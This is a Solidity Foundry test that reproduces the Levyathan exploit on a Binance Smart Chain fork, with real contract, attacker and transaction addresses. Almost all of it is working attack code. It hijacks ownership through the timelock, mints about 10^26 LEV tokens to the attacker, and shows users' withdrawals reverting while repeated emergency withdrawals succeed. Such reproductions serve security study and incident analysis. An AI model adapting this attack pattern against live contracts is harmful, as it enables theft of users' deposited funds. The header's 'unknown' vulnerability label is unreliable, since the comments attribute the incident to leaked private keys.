HIGH severity: Levyathan exploit (unknown). SPDX-License-Identifier: MIT Key Information

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/*Key Information
The Levyathan developers left the private keys to a wallet with minting capability available on Github. -rekt

Attacker Address                     : 0x7507f84610f6d656a70eb8cdec044674799265d3
MasterChef(Vulnerable Contract)      : 0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4
Initial Timelock Schedule Transaction: https://bscscan.com/address/0x7507f84610f6d656a70eb8cdec044674799265d3
Transaction was scheduled            : https://bscscan.com/tx/0xfd30def124c1345606598ae4817ae184fc1918fc638111c6e71bc9752361fd87
Transaction Executed                 : https://bscscan.com/tx/0xe6e504208ba90d121c3212a4f2547ae28e69790ab541d459c080ec8b1f3efab2
Post-Moderm                          : https://levyathan-index.medium.com/post-mortem-levyathan-c3ff7f9a6f65

POC-Written by                       :Sentient-X
twitter                              :@sentient_x

All thanks to the creator of this awesome repo

*/
contract ContractTest is Test {
    ILEV LEV = ILEV(0x304c62b5B030176F8d328d3A01FEaB632FC929BA);

    IMasterChef MasterChef = IMasterChef(0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4);

    ITimelock Timelock = ITimelock(0x16149999C85c3E3f7d1B9402a4c64d125877d89D);
    address attacker = 0x7507f84610f6D656a70eb8CDEC044674799265D3;
    address Deployer = 0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14;

    address user1 = 0x160B6772c9976d21ddFB3e3211989Fa099451af7;
    address user2 = 0x2db0500e1942626944efB106D6A66755802Cef20;

    function setUp() public {
        vm.createSelectFork("bsc", 9_545_966); //fork bsc at block 9545967

        vm.label(address(MasterChef), "MasterChef");
        vm.label(address(LEV), "LEV");
        vm.label(address(Timelock), "Timelock");
        vm.label(address(Deployer), "Deployer");
    }

    function test_Timelock() public {
        bytes memory Ownership_hijack =
            (abi.encodePacked(bytes4(keccak256(bytes("transferOwnership(address)"))), abi.encode(address(attacker))));

        //Schedule a transaction from the Deployer current owner of timelock.
        vm.startPrank(address(Deployer));

        Timelock.schedule(
            address(MasterChef),
            0,
            Ownership_hijack,
            bytes32(0),
            bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764),
            172_800
        );

        //Validate that transaction is in timelock
        bytes32 txHash = Timelock.hashOperation(
            address(MasterChef),
            0,
            Ownership_hijack,
            bytes32(0),
            bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)
        );

        assertTrue(Timelock.isOperationPending(txHash));

        vm.roll(9_600_775);
        vm.warp(block.timestamp + 172_800);

        //Execute transaction and validate state is updated
        Timelock.execute(
            address(MasterChef),
            0,
            Ownership_hijack,
            bytes32(0),
            bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)
        );

        assertTrue(Timelock.isOperationDone(txHash));
        vm.stopPrank();

        //attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens
        vm.startPrank(address(attacker));
        MasterChef.recoverLevOwnership();
        LEV.mint(address(attacker), 100_000_000_000_000_000_000_000_000);
        vm.stopPrank();

        //Typical user1 tries to leave staking but gets revert error
        vm.expectRevert();
        vm.startPrank(address(user1));
        MasterChef.leaveStaking(10_000);

        //Same user1 tries to withdraw but gets another revert error
        vm.expectRevert();
        MasterChef.withdraw(3, 272_356_000_000_000_000_000_000);
        vm.stopPrank();

        //user2 does emergency withdraw and succeeds
        vm.startPrank(address(user2));
        MasterChef.emergencyWithdraw(4);
        vm.stopPrank();

        //user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability)
        vm.startPrank(address(user2));
        MasterChef.emergencyWithdraw(4);
        vm.stopPrank();
    }
}

interface ITimelock {
    function schedule(
        address target,
        uint256 value,
        bytes calldata data,
        bytes32 predecessor,
        bytes32 salt,
        uint256 delay
    ) external;
    function hashOperation(
        address target,
        uint256 value,
        bytes calldata data,
        bytes32 predecessor,
        bytes32 salt
    ) external returns (bytes32 hash);
    function isOperationPending(
        bytes32 id
    ) external returns (bool pending);
    function execute(
        address target,
        uint256 value,
        bytes calldata payload,
        bytes32 predecessor,
        bytes32 salt
    ) external;
    function isOperationDone(
        bytes32 id
    ) external returns (bool done);
}

interface ILEV {
    function mint(address receiver, uint256 amount) external;
}

interface IMasterChef {
    function recoverLevOwnership() external;
    function leaveStaking(
        uint256 _amount
    ) external;
    function withdraw(uint256 _pid, uint256 _amount) external;
    function emergencyWithdraw(
        uint256 _pid
    ) external;
}


Vulnerability type: unknown